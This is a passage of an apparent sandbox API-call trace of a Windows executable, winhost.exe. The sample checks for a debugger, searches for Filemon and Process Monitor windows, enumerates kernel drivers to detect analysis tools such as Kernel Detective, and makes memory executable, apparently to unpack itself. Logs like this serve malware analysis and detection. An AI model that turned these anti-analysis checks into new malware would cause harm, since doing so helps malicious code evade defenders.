-1 [0023.609] lstrcmpiA (lpString1="Kernel Detective", lpString2="mrxsmb10.sys") returned -1 [0023.609] lstrcmpiA (lpString1="Kernel Detective", lpString2="mrxsmb20.sys") returned -1 [0023.609] lstrcmpiA (lpString1="Kernel Detective", lpString2="peauth.sys") returned -1 [0023.609] lstrcmpiA (lpString1="Kernel Detective", lpString2="secdrv.SYS") returned -1 [0023.610] lstrcmpiA (lpString1="Kernel Detective", lpString2="srvnet.sys") returned -1 [0023.610] lstrcmpiA (lpString1="Kernel Detective", lpString2="tcpipreg.sys") returned -1 [0023.610] lstrcmpiA (lpString1="Kernel Detective", lpString2="srv2.sys") returned -1 [0023.610] lstrcmpiA (lpString1="Kernel Detective", lpString2="srv.sys") returned -1 [0023.611] lstrcmpiA (lpString1="Kernel Detective", lpString2="E1G6032E.sys") returned 1 [0023.611] lstrcmpiA (lpString1="Kernel Detective", lpString2="ntdll.dll") returned -1 [0023.611] lstrcmpiA (lpString1="Kernel Detective", lpString2="smss.exe") returned -1 [0023.611] lstrcmpiA (lpString1="Kernel Detective", lpString2="apisetschema.dll") returned 1 [0023.612] VirtualProtect (in: lpAddress=0x77adf7ea, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x6aed9b | out: lpflOldProtect=0x6aed9b*=0x20) returned 1 [0023.612] VirtualProtect (in: lpAddress=0x77adf7ea, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x6aed9f | out: lpflOldProtect=0x6aed9f*=0x40) returned 1 [0023.612] VirtualProtect (in: lpAddress=0x77a5000c, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x6aed9b | out: lpflOldProtect=0x6aed9b*=0x20) returned 1 [0023.613] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0x493931 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0023.613] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x6b2aee, nSize=0x100 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe")) returned 0x31 [0023.613] SetCurrentDirectoryA (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0023.613] GetProcAddress (hModule=0x77a40000, lpProcName="RtlAllocateHeap") returned 0x77a6e026 [0023.613] GetVersion () returned 0x1db10106 [0023.613] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x250000 [0023.614] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x773b0000 [0023.614] LoadLibraryA (lpLibFileName="user32.dll") returned 0x771d0000 [0023.614] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76f90000 [0023.614] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x774c0000 [0024.600] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x773b0000 [0024.600] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76f90000 [0024.600] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x773b0000 [0024.600] LoadLibraryA (lpLibFileName="version.dll") returned 0x75480000 [0024.665] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x75a80000 [0024.665] LoadLibraryA (lpLibFileName="user32.dll") returned 0x771d0000 [0024.665] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x773b0000 [0024.665] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x774c0000 [0024.666] LoadLibraryA (lpLibFileName="comctl32.dll") returned 0x75250000 [0025.001] LoadLibraryA (lpLibFileName="comdlg32.dll") returned 0x759e0000 [0026.899] SetCurrentDirectoryA (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0026.906] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x493931, nSize=0x200 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe")) returned 0x31 [0026.906] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xf4 [0026.906] CreateFileMappingA (hFile=0xf4, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0xf8 [0026.906] MapViewOfFile (hFileMappingObject=0xf8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2690000 [0026.906] VirtualAlloc (lpAddress=0x0, dwSize=0x1f1000, flAllocationType=0x1000, flProtect=0x4) returned 0x2890000 [0026.928] FreeLibrary (hLibModule=0x0) returned 0 [0026.928] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0026.934] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0026.948] CloseHandle (hObject=0xf8) returned 1 [0026.948] CloseHandle (hObject=0xf4) returned 1 [0026.948] GetLocalTime (in: lpSystemTime=0x6c9d3c | out: lpSystemTime=0x6c9d3c*(wYear=0x7e3, wMonth=0x1, wDayOfWeek=0x6, wDay=0x13, wHour=0x16, wMinute=0x34, wSecond=0x38, wMilliseconds=0xa9)) [0026.948] VirtualAlloc (lpAddress=0x0, dwSize=0x30d40, flAllocationType=0x1000, flProtect=0x4) returned 0x260000 [0026.950] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x1000, flProtect=0x4) returned 0x2a0000 [0026.950] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x49558d | out: lpflOldProtect=0x49558d*=0x2) returned 1 [0026.952] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x6d3e62 | out: Wow64Process=0x6d3e62) returned 1 [0026.955] CheckRemoteDebuggerPresent (in: hProcess=0xffffffff, pbDebuggerPresent=0x6d9a19 | out: pbDebuggerPresent=0x6d9a19) returned 1 [0026.968] VirtualProtect (in: lpAddress=0x401000, dwSize=0x30000, flNewProtect=0x40, lpflOldProtect=0x49558d | out: lpflOldProtect=0x49558d*=0x80) returned 1 [0026.976] FindWindowA (lpClassName="FilemonClass", lpWindowName=0x0) returned 0x0 [0026.976] FindWindowA (lpClassName=0x0, lpWindowName="File Monitor - Sysinternals: www.sysinternals.com") returned 0x0 [0026.976] FindWindowA (lpClassName="PROCMON_WINDOW_CLASS", lpWindowName=0x0) returned 0x0 [0026.976] FindWindowA (lpClassName=0x0, lpWindowName="Process Monitor - Sysinternals: www.sysinternals.com") returned 0x0 [0026.977] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x2b0000 [0026.977] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77a40000 [0026.977] GetProcAddress (hModule=0x77a40000, lpProcName="NtQuerySystemInformation") returned 0x77a5fda0 [0026.977] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x2b0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x2b0000, ResultLength=0x0) returned 0x0 [0026.978] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ntoskrnl.exe") returned -1 [0026.978] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="hal.dll") returned -1 [0026.979] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="kdcom.dll") returned -1 [0026.979] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mcupdate_Genuin") returned -1 [0026.980] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="PSHED.dll") returned -1 [0026.980] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CLFS.SYS") returned 1 [0026.980] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CI.dll") returned 1 [0026.981] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Wdf01000.sys") returned -1 [0026.981] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="WDFLDR.SYS") returned -1 [0026.982] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ACPI.sys") returned 1 [0026.982] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="WMILIB.SYS") returned -1 [0026.983] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="msisadrv.sys") returned -1 [0026.983] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="pci.sys") returned -1 [0026.983] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vdrvroot.sys") returned -1 [0026.984] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="partmgr.sys") returned -1 [0026.984] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="volmgr.sys") returned -1 [0026.985] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="volmgrx.sys") returned -1 [0026.985] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mountmgr.sys") returned -1 [0026.985] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="atapi.sys") returned 1 [0026.986] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ataport.SYS") returned 1 [0026.986] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="msahci.sys") returned -1 [0026.986] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="PCIIDEX.SYS") returned -1 [0026.987] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="amdxata.sys") returned 1 [0026.987] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fltmgr.sys") returned -1 [0026.988] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fileinfo.sys") returned 1 [0026.988] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Ntfs.sys") returned -1 [0026.989] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="msrpc.sys") returned -1 [0026.989] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ksecdd.sys") returned -1 [0026.990] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="cng.sys") returned 1 [0026.990] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="pcw.sys") returned -1 [0026.990] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Fs_Rec.sys") returned -1 [0026.991] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ndis.sys") returned -1 [0026.991] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="NETIO.SYS") returned -1 [0026.992] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ksecpkg.sys") returned -1 [0026.992] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tcpip.sys") returned -1 [0026.992] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fwpkclnt.sys") returned -1 [0026.993] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vmstorfl.sys") returned -1 [0026.993] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="volsnap.sys") returned -1 [0026.993] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="spldr.sys") returned -1 [0026.994] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdyboost.sys") returned -1 [0026.994] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mup.sys") returned -1 [0026.995] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="hwpolicy.sys") returned -1 [0026.995] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fvevol.sys") returned -1 [0026.995] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="disk.sys") returned 1 [0026.996] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CLASSPNP.SYS") returned 1 [0026.996] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Null.SYS") returned -1 [0026.997] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Beep.SYS") returned 1 [0026.997] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vga.sys") returned -1 [0026.997] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="VIDEOPRT.SYS") returned -1 [0026.998] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="watchdog.sys") returned -1 [0026.998] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="RDPCDD.sys") returned -1 [0026.999] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdpencdd.sys") returned -1 [0026.999] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdprefmp.sys") returned -1 [0026.999] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Msfs.SYS") returned -1 [0027.000] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Npfs.SYS") returned -1 [0027.000] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tdx.sys") returned -1 [0027.000] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="TDI.SYS") returned -1 [0027.001] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="afd.sys") returned 1 [0027.001] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="netbt.sys") returned -1 [0027.002] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="wfplwf.sys") returned -1 [0027.002] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="pacer.sys") returned -1 [0027.002] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="netbios.sys") returned -1 [0027.003] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="wanarp.sys") returned -1 [0027.003] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="termdd.sys") returned -1 [0027.004] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdbss.sys") returned -1 [0027.004] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="nsiproxy.sys") returned -1 [0027.005] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mssmbios.sys") returned -1 [0027.005] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="discache.sys") returned 1 [0027.006] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="csc.sys") returned 1 [0027.006] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dfsc.sys") returned 1 [0027.007] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="blbdrive.sys") returned 1 [0027.007] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tunnel.sys") returned -1 [0027.007] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vgapnp.sys") returned -1 [0027.007] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HDAudBus.sys") returned -1 [0027.007] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="usbehci.sys") returned -1 [0027.007] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="USBPORT.SYS") returned -1 [0027.008] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="intelppm.sys") returned -1 [0027.008] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CompositeBus.sy") returned 1 [0027.008] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="AgileVpn.sys") returned 1 [0027.008] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rasl2tp.sys") returned -1 [0027.008] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ndistapi.sys") returned -1 [0027.008] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ndiswan.sys") returned -1 [0027.008] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="raspppoe.sys") returned -1 [0027.008] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="raspptp.sys") returned -1 [0027.008] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rassstp.sys") returned -1 [0027.008] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdpbus.sys") returned -1 [0027.008] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="kbdclass.sys") returned -1 [0027.008] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mouclass.sys") returned -1 [0027.008] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="swenum.sys") returned -1 [0027.008] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ks.sys") returned -1 [0027.008] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="umbus.sys") returned -1 [0027.008] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="usbhub.sys") returned -1 [0027.008] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="NDProxy.SYS") returned -1 [0027.008] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HdAudio.sys") returned -1 [0027.008] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="portcls.sys") returned -1 [0027.008] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="drmk.sys") returned 1 [0027.008] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ksthunk.sys") returned -1 [0027.008] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="crashdmp.sys") returned 1 [0027.008] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dump_dumpata.sy") returned 1 [0027.009] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dump_msahci.sys") returned 1 [0027.009] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dump_dumpfve.sy") returned 1 [0027.009] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="win32k.sys") returned -1 [0027.009] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Dxapi.sys") returned 1 [0027.009] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dxg.sys") returned 1 [0027.009] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="monitor.sys") returned -1 [0027.009] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="TSDDD.dll") returned -1 [0027.009] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="framebuf.dll") returned -1 [0027.009] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="hidusb.sys") returned -1 [0027.009] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HIDCLASS.SYS") returned -1 [0027.009] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HIDPARSE.SYS") returned -1 [0027.009] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="USBD.SYS") returned -1 [0027.009] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="kbdhid.sys") returned -1 [0027.009] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="luafv.sys") returned -1 [0027.009] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mouhid.sys") returned -1 [0027.009] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="lltdio.sys") returned -1 [0027.009] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rspndr.sys") returned -1 [0027.009] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HTTP.sys") returned -1 [0027.009] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="bowser.sys") returned 1 [0027.009] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mpsdrv.sys") returned -1 [0027.009] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mrxsmb.sys") returned -1 [0027.009] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mrxsmb10.sys") returned -1 [0027.009] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mrxsmb20.sys") returned -1 [0027.010] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="peauth.sys") returned -1 [0027.010] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="secdrv.SYS") returned -1 [0027.010] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="srvnet.sys") returned -1 [0027.010] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tcpipreg.sys") returned -1 [0027.010] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="srv2.sys") returned -1 [0027.010] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="srv.sys") returned -1 [0027.010] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="E1G6032E.sys") returned 1 [0027.010] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ntdll.dll") returned -1 [0027.010] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="smss.exe") returned -1 [0027.010] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="apisetschema.dl") returned 1 [0027.011] lstrcmpiA (lpString1="Filem", lpString2="ntosk") returned -1 [0027.011] lstrcmpiA (lpString1="Filem", lpString2="hal.d") returned -1 [0027.011] lstrcmpiA (lpString1="Filem", lpString2="kdcom") returned -1 [0027.011] lstrcmpiA (lpString1="Filem", lpString2="mcupd") returned -1 [0027.011] lstrcmpiA (lpString1="Filem", lpString2="PSHED") returned -1 [0027.011] lstrcmpiA (lpString1="Filem", lpString2="CLFS.") returned 1 [0027.011] lstrcmpiA (lpString1="Filem", lpString2="CI.dl") returned 1 [0027.011] lstrcmpiA (lpString1="Filem", lpString2="Wdf01") returned -1 [0027.011] lstrcmpiA (lpString1="Filem", lpString2="WDFLD") returned -1 [0027.011] lstrcmpiA (lpString1="Filem", lpString2="ACPI.") returned 1 [0027.011] lstrcmpiA (lpString1="Filem", lpString2="WMILI") returned -1 [0027.011] lstrcmpiA (lpString1="Filem", lpString2="msisa") returned -1 [0027.011] lstrcmpiA (lpString1="Filem", lpString2="pci.s") returned -1 [0027.011] lstrcmpiA (lpString1="Filem", lpString2="vdrvr") returned -1 [0027.012] lstrcmpiA (lpString1="Filem", lpString2="partm") returned -1 [0027.012] lstrcmpiA (lpString1="Filem", lpString2="volmg") returned -1 [0027.012] lstrcmpiA (lpString1="Filem", lpString2="volmg") returned -1 [0027.012] lstrcmpiA (lpString1="Filem", lpString2="mount") returned -1 [0027.012] lstrcmpiA (lpString1="Filem", lpString2="atapi") returned 1 [0027.012] lstrcmpiA (lpString1="Filem", lpString2="atapo") returned 1 [0027.012] lstrcmpiA (lpString1="Filem", lpString2="msahc") returned -1 [0027.012] lstrcmpiA (lpString1="Filem", lpString2="PCIID") returned -1 [0027.012] lstrcmpiA (lpString1="Filem", lpString2="amdxa") returned 1 [0027.012] lstrcmpiA (lpString1="Filem", lpString2="fltmg") returned -1 [0027.012] lstrcmpiA (lpString1="Filem", lpString2="filei") returned 1 [0027.012] lstrcmpiA (lpString1="Filem", lpString2="Ntfs.") returned -1 [0027.012] lstrcmpiA (lpString1="Filem", lpString2="msrpc") returned -1 [0027.012] lstrcmpiA (lpString1="Filem", lpString2="ksecd") returned -1 [0027.012] lstrcmpiA (lpString1="Filem", lpString2="cng.s") returned 1 [0027.012] lstrcmpiA (lpString1="Filem", lpString2="pcw.s") returned -1 [0027.012] lstrcmpiA (lpString1="Filem", lpString2="Fs_Re") returned -1 [0027.012] lstrcmpiA (lpString1="Filem", lpString2="ndis.") returned -1 [0027.012] lstrcmpiA (lpString1="Filem", lpString2="NETIO") returned -1 [0027.012] lstrcmpiA (lpString1="Filem", lpString2="ksecp") returned -1 [0027.012] lstrcmpiA (lpString1="Filem", lpString2="tcpip") returned -1 [0027.012] lstrcmpiA (lpString1="Filem", lpString2="fwpkc") returned -1 [0027.012] lstrcmpiA (lpString1="Filem", lpString2="vmsto") returned -1 [0027.013] lstrcmpiA (lpString1="Filem", lpString2="volsn") returned -1 [0027.013] lstrcmpiA (lpString1="Filem", lpString2="spldr") returned -1 [0027.013] lstrcmpiA (lpString1="Filem", lpString2="rdybo") returned -1 [0027.013] lstrcmpiA (lpString1="Filem", lpString2="mup.s") returned -1 [0027.013] lstrcmpiA (lpString1="Filem", lpString2="hwpol") returned -1 [0027.013] lstrcmpiA (lpString1="Filem", lpString2="fvevo") returned -1 [0027.013] lstrcmpiA (lpString1="Filem", lpString2="disk.") returned 1 [0027.013] lstrcmpiA (lpString1="Filem", lpString2="CLASS") returned 1 [0027.013] lstrcmpiA (lpString1="Filem", lpString2="Null.") returned -1 [0027.013] lstrcmpiA (lpString1="Filem", lpString2="Beep.") returned 1 [0027.013] lstrcmpiA (lpString1="Filem", lpString2="vga.s") returned -1 [0027.013] lstrcmpiA (lpString1="Filem", lpString2="VIDEO") returned -1 [0027.013] lstrcmpiA (lpString1="Filem", lpString2="watch") returned -1 [0027.013] lstrcmpiA (lpString1="Filem", lpString2="RDPCD") returned -1 [0027.013] lstrcmpiA (lpString1="Filem", lpString2="rdpen") returned -1 [0027.013] lstrcmpiA (lpString1="Filem", lpString2="rdpre") returned -1 [0027.013] lstrcmpiA (lpString1="Filem", lpString2="Msfs.") returned -1 [0027.013] lstrcmpiA (lpString1="Filem", lpString2="Npfs.") returned -1 [0027.013] lstrcmpiA (lpString1="Filem", lpString2="tdx.s") returned -1 [0027.013] lstrcmpiA (lpString1="Filem", lpString2="TDI.S") returned -1 [0027.013] lstrcmpiA (lpString1="Filem", lpString2="afd.s") returned 1 [0027.013] lstrcmpiA (lpString1="Filem", lpString2="netbt") returned -1 [0027.013] lstrcmpiA (lpString1="Filem", lpString2="wfplw") returned -1 [0027.014] lstrcmpiA (lpString1="Filem", lpString2="pacer") returned -1 [0027.014] lstrcmpiA (lpString1="Filem", lpString2="netbi") returned -1 [0027.014] lstrcmpiA (lpString1="Filem", lpString2="wanar") returned -1 [0027.014] lstrcmpiA (lpString1="Filem", lpString2="termd") returned -1 [0027.014] lstrcmpiA (lpString1="Filem", lpString2="rdbss") returned -1 [0027.014] lstrcmpiA (lpString1="Filem", lpString2="nsipr") returned -1 [0027.014] lstrcmpiA (lpString1="Filem", lpString2="mssmb") returned -1 [0027.014] lstrcmpiA (lpString1="Filem", lpString2="disca") returned 1 [0027.014] lstrcmpiA (lpString1="Filem", lpString2="csc.s") returned 1 [0027.014] lstrcmpiA (lpString1="Filem", lpString2="dfsc.") returned 1 [0027.014] lstrcmpiA (lpString1="Filem", lpString2="blbdr") returned 1 [0027.014] lstrcmpiA (lpString1="Filem", lpString2="tunne") returned -1 [0027.014] lstrcmpiA (lpString1="Filem", lpString2="vgapn") returned -1 [0027.014] lstrcmpiA (lpString1="Filem", lpString2="HDAud") returned -1 [0027.014] lstrcmpiA (lpString1="Filem", lpString2="usbeh") returned -1 [0027.014] lstrcmpiA (lpString1="Filem", lpString2="USBPO") returned -1 [0027.014] lstrcmpiA (lpString1="Filem", lpString2="intel") returned -1 [0027.014] lstrcmpiA (lpString1="Filem", lpString2="Compo") returned 1 [0027.014] lstrcmpiA (lpString1="Filem", lpString2="Agile") returned 1 [0027.014] lstrcmpiA (lpString1="Filem", lpString2="rasl2") returned -1 [0027.014] lstrcmpiA (lpString1="Filem", lpString2="ndist") returned -1 [0027.014] lstrcmpiA (lpString1="Filem", lpString2="ndisw") returned -1 [0027.014] lstrcmpiA (lpString1="Filem", lpString2="raspp") returned -1 [0027.015] lstrcmpiA (lpString1="Filem", lpString2="raspp") returned -1 [0027.015] lstrcmpiA (lpString1="Filem", lpString2="rasss") returned -1 [0027.015] lstrcmpiA (lpString1="Filem", lpString2="rdpbu") returned -1 [0027.015] lstrcmpiA (lpString1="Filem", lpString2="kbdcl") returned -1 [0027.015] lstrcmpiA (lpString1="Filem", lpString2="moucl") returned -1 [0027.015] lstrcmpiA (lpString1="Filem", lpString2="swenu") returned -1 [0027.015] lstrcmpiA (lpString1="Filem", lpString2="ks.sy") returned -1 [0027.015] lstrcmpiA (lpString1="Filem", lpString2="umbus") returned -1 [0027.015] lstrcmpiA (lpString1="Filem", lpString2="usbhu") returned -1 [0027.015] lstrcmpiA (lpString1="Filem", lpString2="NDPro") returned -1 [0027.015] lstrcmpiA (lpString1="Filem", lpString2="HdAud") returned -1 [0027.015] lstrcmpiA (lpString1="Filem", lpString2="portc") returned -1 [0027.015] lstrcmpiA (lpString1="Filem", lpString2="drmk.") returned 1 [0027.015] lstrcmpiA (lpString1="Filem", lpString2="ksthu") returned -1 [0027.015] lstrcmpiA (lpString1="Filem", lpString2="crash") returned 1 [0027.015] lstrcmpiA (lpString1="Filem", lpString2="dump_") returned 1 [0027.015] lstrcmpiA (lpString1="Filem", lpString2="dump_") returned 1 [0027.015] lstrcmpiA (lpString1="Filem", lpString2="dump_") returned 1 [0027.015] lstrcmpiA (lpString1="Filem", lpString2="win32") returned -1 [0027.015] lstrcmpiA (lpString1="Filem", lpString2="Dxapi") returned 1 [0027.015] lstrcmpiA (lpString1="Filem", lpString2="dxg.s") returned 1 [0027.015] lstrcmpiA (lpString1="Filem", lpString2="monit") returned -1 [0027.015] lstrcmpiA (lpString1="Filem", lpString2="TSDDD") returned -1 [0027.016] lstrcmpiA (lpString1="Filem", lpString2="frame") returned -1 [0027.016] lstrcmpiA (lpString1="Filem", lpString2="hidus") returned -1 [0027.016] lstrcmpiA (lpString1="Filem", lpString2="HIDCL") returned -1 [0027.016] lstrcmpiA (lpString1="Filem", lpString2="HIDPA") returned -1 [0027.016] lstrcmpiA (lpString1="Filem", lpString2="USBD.") returned -1 [0027.016] lstrcmpiA (lpString1="Filem", lpString2="kbdhi") returned -1 [0027.016] lstrcmpiA (lpString1="Filem", lpString2="luafv") returned -1 [0027.016] lstrcmpiA (lpString1="Filem", lpString2="mouhi") returned -1 [0027.016] lstrcmpiA (lpString1="Filem", lpString2="lltdi") returned -1 [0027.016] lstrcmpiA (lpString1="Filem", lpString2="rspnd") returned -1 [0027.016] lstrcmpiA (lpString1="Filem", lpString2="HTTP.") returned -1 [0027.024] VirtualAlloc (lpAddress=0x0, dwSize=0x6e100, flAllocationType=0x1000, flProtect=0x4) returned 0x350000 [0027.037] VirtualFree (lpAddress=0x350000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0027.040] VirtualAlloc (lpAddress=0x0, dwSize=0x21140, flAllocationType=0x1000, flProtect=0x4) returned 0x350000 [0027.053] VirtualProtect (in: 